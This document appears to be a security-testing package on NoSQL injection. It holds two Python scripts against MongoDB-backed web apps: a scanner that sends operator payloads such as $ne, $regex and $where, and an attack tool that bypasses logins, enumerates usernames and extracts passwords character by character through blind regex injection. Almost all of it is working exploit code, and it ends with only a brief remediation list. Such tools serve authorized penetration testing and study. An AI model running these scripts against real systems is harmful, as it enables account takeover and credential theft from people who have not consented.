Exploiting Nosql Injection Vulnerabilities

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#!/usr/bin/env python3
"""Agent for testing NoSQL injection vulnerabilities in web applications."""

import argparse
import json
from datetime import datetime, timezone

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False

NOSQL_PAYLOADS_GET = [
    ("[$ne]", ""),
    ("[$gt]", ""),
    ("[$regex]", ".*"),
    ("[$exists]", "true"),
    ("[$nin][]", "impossible"),
]

NOSQL_PAYLOADS_JSON = [
    {"$ne": ""},
    {"$gt": ""},
    {"$regex": ".*"},
    {"$exists": True},
    {"$where": "1==1"},
    {"$or": [{"a": 1}, {"b": 1}]},
]

ERROR_INDICATORS = [
    "mongoerror", "bson", "objectid", "cast to objectid",
    "json parse error", "syntaxerror", "unexpected token",
    "cannot read property", "mongodb",
]


def test_get_injection(url, param, token=None):
    """Test NoSQL injection via GET parameter manipulation."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    try:
        baseline = requests.get(f"{url}?{param}=test", headers=headers, timeout=10, verify=False)
        baseline_len = len(baseline.text)
    except requests.RequestException:
        return findings

    for suffix, value in NOSQL_PAYLOADS_GET:
        try:
            test_url = f"{url}?{param}{suffix}={value}"
            resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
            indicators = []
            if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
                indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
            for err in ERROR_INDICATORS:
                if err in resp.text.lower():
                    indicators.append(f"Error indicator: {err}")
            if indicators:
                findings.append({
                    "param": param, "payload": f"{param}{suffix}={value}",
                    "method": "GET", "indicators": indicators,
                })
        except requests.RequestException:
            continue
    return findings


def test_json_injection(url, field, token=None):
    """Test NoSQL injection via JSON body."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    headers["Content-Type"] = "application/json"
    try:
        baseline = requests.post(url, json={field: "test"}, headers=headers, timeout=10, verify=False)
        baseline_len = len(baseline.text)
    except requests.RequestException:
        return findings

    for payload in NOSQL_PAYLOADS_JSON:
        try:
            resp = requests.post(url, json={field: payload}, headers=headers, timeout=10, verify=False)
            indicators = []
            if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
                indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
            for err in ERROR_INDICATORS:
                if err in resp.text.lower():
                    indicators.append(f"Error indicator: {err}")
            if indicators:
                findings.append({
                    "field": field, "payload": str(payload),
                    "method": "POST", "indicators": indicators,
                })
        except requests.RequestException:
            continue
    return findings


def main():
    parser = argparse.ArgumentParser(
        description="Test NoSQL injection vulnerabilities (authorized testing only)"
    )
    parser.add_argument("--url", required=True, help="Target URL")
    parser.add_argument("--param", help="GET parameter to test")
    parser.add_argument("--field", help="JSON field to test")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] NoSQL Injection Testing Agent")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []}

    if args.param:
        findings = test_get_injection(args.url, args.param, args.token)
        report["findings"].extend(findings)
    if args.field:
        findings = test_json_injection(args.url, args.field, args.token)
        report["findings"].extend(findings)

    report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"
    print(f"[*] NoSQL injection findings: {len(report['findings'])}")

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
NoSQL Injection Testing Automation
Performs operator injection, authentication bypass, and blind data extraction.
"""

import requests
import string
import json
import sys
import time
from urllib.parse import urljoin


def test_operator_injection(target_url: str, content_type: str = "json") -> dict:
    """Test for basic NoSQL operator injection vulnerabilities."""
    results = {"vulnerable": False, "payloads": []}

    payloads = [
        {"username": {"$ne": ""}, "password": {"$ne": ""}},
        {"username": {"$gt": ""}, "password": {"$gt": ""}},
        {"username": {"$exists": True}, "password": {"$exists": True}},
        {"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}},
        {"username": "admin", "password": {"$ne": ""}},
        {"username": "admin", "password": {"$regex": ".*"}},
    ]

    for payload in payloads:
        try:
            response = requests.post(
                target_url,
                json=payload,
                headers={"Content-Type": "application/json"},
                timeout=10,
                allow_redirects=False
            )

            if response.status_code in [200, 302] and (
                "dashboard" in response.text.lower() or
                "welcome" in response.text.lower() or
                "token" in response.text.lower() or
                response.status_code == 302
            ):
                results["vulnerable"] = True
                results["payloads"].append({
                    "payload": json.dumps(payload, default=str),
                    "status_code": response.status_code,
                    "response_length": len(response.text)
                })
                print(f"[+] AUTH BYPASS: {json.dumps(payload, default=str)}")
        except requests.RequestException as e:
            print(f"[-] Request failed: {e}")

    return results


def blind_extract_field(target_url: str, username: str, field: str = "password",
                        max_length: int = 32) -> str:
    """Extract a field value character by character using regex-based blind injection."""
    extracted = ""
    charset = string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$%^&*"

    print(f"[*] Extracting {field} for user '{username}'...")

    for position in range(max_length):
        found = False
        for char in charset:
            test_value = extracted + char
            payload = {
                "username": username,
                field: {"$regex": f"^{_escape_regex(test_value)}"}
            }

            try:
                response = requests.post(
                    target_url,
                    json=payload,
                    headers={"Content-Type": "application/json"},
                    timeout=10,
                    allow_redirects=False
                )

                if response.status_code in [200, 302] and (
                    "dashboard" in response.text.lower() or
                    "welcome" in response.text.lower() or
                    "token" in response.text.lower() or
                    response.status_code == 302
                ):
                    extracted += char
                    print(f"[+] Found character {position}: '{char}' -> {extracted}")
                    found = True
                    break
            except requests.RequestException:
                continue

            time.sleep(0.05)

        if not found:
            break

    print(f"[+] Extracted value: {extracted}")
    return extracted


def _escape_regex(text: str) -> str:
    """Escape special regex characters in extracted text."""
    special_chars = r"\.+*?^${}()|[]"
    result = ""
    for char in text:
        if char in special_chars:
            result += "\\" + char
        else:
            result += char
    return result


def enumerate_usernames(target_url: str) -> list:
    """Enumerate valid usernames using regex injection."""
    found_users = []
    prefixes = list(string.ascii_lowercase)

    print("[*] Enumerating usernames...")
    for prefix in prefixes:
        payload = {
            "username": {"$regex": f"^{prefix}"},
            "password": {"$ne": ""}
        }
        try:
            response = requests.post(
                target_url, json=payload,
                headers={"Content-Type": "application/json"},
                timeout=10, allow_redirects=False
            )
            if response.status_code in [200, 302]:
                print(f"[+] Username starting with '{prefix}' exists")
                found_users.append(prefix)
        except requests.RequestException:
            continue

    return found_users


def test_where_injection(target_url: str) -> bool:
    """Test for JavaScript injection via $where operator."""
    payloads = [
        {"$where": "1==1"},
        {"$where": "this.username == this.username"},
        {"$where": "function() { return true; }"},
    ]

    for payload in payloads:
        try:
            response = requests.post(
                target_url, json=payload,
                headers={"Content-Type": "application/json"},
                timeout=10
            )
            if response.status_code == 200 and len(response.text) > 100:
                print(f"[+] $where injection works: {json.dumps(payload)}")
                return True
        except requests.RequestException:
            continue

    return False


def generate_report(target_url: str, injection_results: dict,
                    extracted_data: dict, output_file: str):
    """Generate assessment report."""
    with open(output_file, "w") as f:
        f.write("# NoSQL Injection Assessment Report\n\n")
        f.write(f"**Target**: {target_url}\n")
        f.write(f"**Vulnerable**: {'Yes' if injection_results['vulnerable'] else 'No'}\n\n")

        if injection_results["payloads"]:
            f.write("## Successful Payloads\n\n")
            f.write("| Payload | Status Code | Response Length |\n")
            f.write("|---------|-------------|----------------|\n")
            for p in injection_results["payloads"]:
                f.write(f"| `{p['payload']}` | {p['status_code']} | {p['response_length']} |\n")

        if extracted_data:
            f.write("\n## Extracted Data\n\n")
            for user, value in extracted_data.items():
                f.write(f"- **{user}**: `{value}`\n")

        f.write("\n## Remediation\n")
        f.write("- Use parameterized queries and input type validation\n")
        f.write("- Reject object/array inputs where strings are expected\n")
        f.write("- Disable $where JavaScript execution in MongoDB configuration\n")
        f.write("- Implement WAF rules to block MongoDB operator patterns\n")

    print(f"[+] Report saved to {output_file}")


def main():
    if len(sys.argv) < 2:
        print("Usage: python process.py <target_url> [--extract <username>] [--enumerate]")
        sys.exit(1)

    target_url = sys.argv[1]

    print(f"[*] Testing NoSQL injection on {target_url}")
    results = test_operator_injection(target_url)

    extracted_data = {}
    if "--extract" in sys.argv:
        idx = sys.argv.index("--extract")
        username = sys.argv[idx + 1] if idx + 1 < len(sys.argv) else "admin"
        password = blind_extract_field(target_url, username)
        extracted_data[username] = password

    if "--enumerate" in sys.argv:
        enumerate_usernames(target_url)

    test_where_injection(target_url)

    generate_report(target_url, results, extracted_data, "nosql_injection_report.md")


if __name__ == "__main__":
    main()